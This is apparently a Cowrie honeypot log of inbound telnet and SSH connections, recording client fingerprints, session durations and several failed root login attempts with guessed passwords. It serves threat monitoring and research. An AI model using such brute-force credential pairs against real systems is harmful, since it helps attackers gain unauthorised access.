{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52614,"dst_ip":"10.17.0.5","dst_port":23,"session":"011d926996c2","protocol":"telnet","message":"New connection: 192.119.13.58:52614 (10.17.0.5:23) [session: 011d926996c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:51.411534Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53848,"dst_ip":"10.17.0.5","dst_port":23,"session":"9277347db4ff","protocol":"telnet","message":"New connection: 192.119.13.58:53848 (10.17.0.5:23) [session: 9277347db4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:51.689425Z"}
{"eventid":"cowrie.session.closed","duration":42.17575263977051,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:53.645805Z","src_ip":"192.119.13.58","session":"d61005c6fa48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74329447746277,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:55.131655Z","src_ip":"192.119.13.58","session":"6f5cd4e5a540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45582,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc43aca2330","protocol":"telnet","message":"New connection: 192.119.13.58:45582 (10.17.0.5:23) [session: 0cc43aca2330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:56.730970Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1023cc6ac473","protocol":"telnet","message":"New connection: 192.119.13.58:45878 (10.17.0.5:23) [session: 1023cc6ac473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:56.789711Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46740,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e8998708b3","protocol":"telnet","message":"New connection: 192.119.13.58:46740 (10.17.0.5:23) [session: 82e8998708b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:56.986058Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54298,"dst_ip":"10.17.0.5","dst_port":23,"session":"b218817c8eee","protocol":"telnet","message":"New connection: 192.119.13.58:54298 (10.17.0.5:23) [session: b218817c8eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:58.832949Z"}
{"eventid":"cowrie.session.closed","duration":47.37025690078735,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:59.558951Z","src_ip":"192.119.13.58","session":"ada8565e9d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1240b26a6f42","protocol":"telnet","message":"New connection: 192.119.13.58:34918 (10.17.0.5:23) [session: 1240b26a6f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:01.161576Z"}
{"eventid":"cowrie.session.closed","duration":37.19170594215393,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:04.614055Z","src_ip":"192.119.13.58","session":"608ba28731f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.39635252952576,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:04.767737Z","src_ip":"192.119.13.58","session":"f98d17d3910a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53234,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea9ed43ebd82","protocol":"telnet","message":"New connection: 192.119.13.58:53234 (10.17.0.5:23) [session: ea9ed43ebd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:05.743866Z"}
{"eventid":"cowrie.session.closed","duration":45.47303795814514,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:08.947474Z","src_ip":"192.119.13.58","session":"b698ebad7f5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":58824,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c8f4492d3ce","protocol":"ssh","message":"New connection: 103.75.183.219:58824 (159.203.135.109:22) [session: 5c8f4492d3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:09.285779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:09.289694Z","src_ip":"103.75.183.219","session":"5c8f4492d3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:09.529084Z","src_ip":"103.75.183.219","session":"5c8f4492d3ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbrnjh","message":"login attempt [root/dbrnjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:10.252463Z","src_ip":"103.75.183.219","session":"5c8f4492d3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:11.496072Z","src_ip":"103.75.183.219","session":"5c8f4492d3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.804959297180176,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:12.372929Z","src_ip":"192.119.13.58","session":"ddc64149d84d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.15576791763306,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:12.850061Z","src_ip":"192.119.13.58","session":"e554aff09108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39550,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db4d706dc7f","protocol":"telnet","message":"New connection: 192.119.13.58:39550 (10.17.0.5:23) [session: 1db4d706dc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:16.268875Z"}
{"eventid":"cowrie.session.closed","duration":42.231201171875,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:16.400199Z","src_ip":"192.119.13.58","session":"2a2aa9406123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":53974,"dst_ip":"10.17.0.5","dst_port":22,"session":"add2411a8a77","protocol":"ssh","message":"New connection: 147.45.197.250:53974 (10.17.0.5:22) [session: add2411a8a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:18.841699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:18.849637Z","src_ip":"147.45.197.250","session":"add2411a8a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:18.939283Z","src_ip":"147.45.197.250","session":"add2411a8a77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01020304","message":"login attempt [root/01020304] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:19.207862Z","src_ip":"147.45.197.250","session":"add2411a8a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:20.300582Z","src_ip":"147.45.197.250","session":"add2411a8a77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34634,"dst_ip":"10.17.0.5","dst_port":23,"session":"be7e4676539d","protocol":"telnet","message":"New connection: 192.119.13.58:34634 (10.17.0.5:23) [session: be7e4676539d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:22.135887Z"}
{"eventid":"cowrie.session.closed","duration":33.68366837501526,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:23.962888Z","src_ip":"192.119.13.58","session":"c26bca43a048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.12679696083069,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:30.619521Z","src_ip":"192.119.13.58","session":"d24083638ff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38372,"dst_ip":"159.203.135.109","dst_port":22,"session":"258a79055fef","protocol":"ssh","message":"New connection: 103.153.68.219:38372 (159.203.135.109:22) [session: 258a79055fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:32.140542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:32.146298Z","src_ip":"103.153.68.219","session":"258a79055fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.65311288833618,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:32.342436Z","src_ip":"192.119.13.58","session":"9277347db4ff","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:32.390625Z","src_ip":"103.153.68.219","session":"258a79055fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.51850128173828,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:32.929923Z","src_ip":"192.119.13.58","session":"011d926996c2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hitman","message":"login attempt [root/hitman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:33.126166Z","src_ip":"103.153.68.219","session":"258a79055fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:34.374463Z","src_ip":"103.153.68.219","session":"258a79055fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57298,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5273de9f4ee","protocol":"telnet","message":"New connection: 192.119.13.58:57298 (10.17.0.5:23) [session: e5273de9f4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:34.837797Z"}
{"eventid":"cowrie.session.closed","duration":37.72618794441223,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:36.559003Z","src_ip":"192.119.13.58","session":"b218817c8eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45962,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca684ef815f","protocol":"telnet","message":"New connection: 192.119.13.58:45962 (10.17.0.5:23) [session: 6ca684ef815f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:39.214636Z"}
{"eventid":"cowrie.session.closed","duration":43.753939151763916,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:40.484803Z","src_ip":"192.119.13.58","session":"0cc43aca2330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.6803822517395,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:41.666347Z","src_ip":"192.119.13.58","session":"82e8998708b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.57721972465515,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:41.738654Z","src_ip":"192.119.13.58","session":"1240b26a6f42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34938,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cbd978a41a1","protocol":"telnet","message":"New connection: 192.119.13.58:34938 (10.17.0.5:23) [session: 2cbd978a41a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:43.600735Z"}
{"eventid":"cowrie.session.closed","duration":39.33792519569397,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:45.081684Z","src_ip":"192.119.13.58","session":"ea9ed43ebd82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.338069915771484,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:45.127695Z","src_ip":"192.119.13.58","session":"1023cc6ac473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41448,"dst_ip":"10.17.0.5","dst_port":23,"session":"556535279b80","protocol":"telnet","message":"New connection: 192.119.13.58:41448 (10.17.0.5:23) [session: 556535279b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:45.390061Z"}
{"eventid":"cowrie.session.closed","duration":38.038041830062866,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:12:54.306796Z","src_ip":"192.119.13.58","session":"1db4d706dc7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.50051021575928,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:04.636303Z","src_ip":"192.119.13.58","session":"be7e4676539d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.909099817276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:08.746790Z","src_ip":"192.119.13.58","session":"e5273de9f4ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56550,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3c76aea4da","protocol":"telnet","message":"New connection: 192.119.13.58:56550 (10.17.0.5:23) [session: 6b3c76aea4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:10.337744Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58836,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d06fada8ae","protocol":"telnet","message":"New connection: 192.119.13.58:58836 (10.17.0.5:23) [session: 93d06fada8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:10.926173Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":33088,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0cbf211ced4","protocol":"ssh","message":"New connection: 87.251.79.125:33088 (159.203.135.109:22) [session: f0cbf211ced4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:11.164356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:11.169459Z","src_ip":"87.251.79.125","session":"f0cbf211ced4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:11.244500Z","src_ip":"87.251.79.125","session":"f0cbf211ced4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panzer","message":"login attempt [root/panzer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:11.463062Z","src_ip":"87.251.79.125","session":"f0cbf211ced4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35664,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61b3febec24","protocol":"telnet","message":"New connection: 192.119.13.58:35664 (10.17.0.5:23) [session: d61b3febec24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:12.128487Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:12.538011Z","src_ip":"87.251.79.125","session":"f0cbf211ced4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.51235389709473,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:12.726913Z","src_ip":"192.119.13.58","session":"6ca684ef815f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.36684203147888,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:23.967449Z","src_ip":"192.119.13.58","session":"2cbd978a41a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.74515414237976,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:25.135118Z","src_ip":"192.119.13.58","session":"556535279b80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":16156,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5059616744","protocol":"ssh","message":"New connection: 194.59.206.2:16156 (10.17.0.5:22) [session: 9e5059616744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:25.174012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:25.179160Z","src_ip":"194.59.206.2","session":"9e5059616744","protocol":"ssh"}
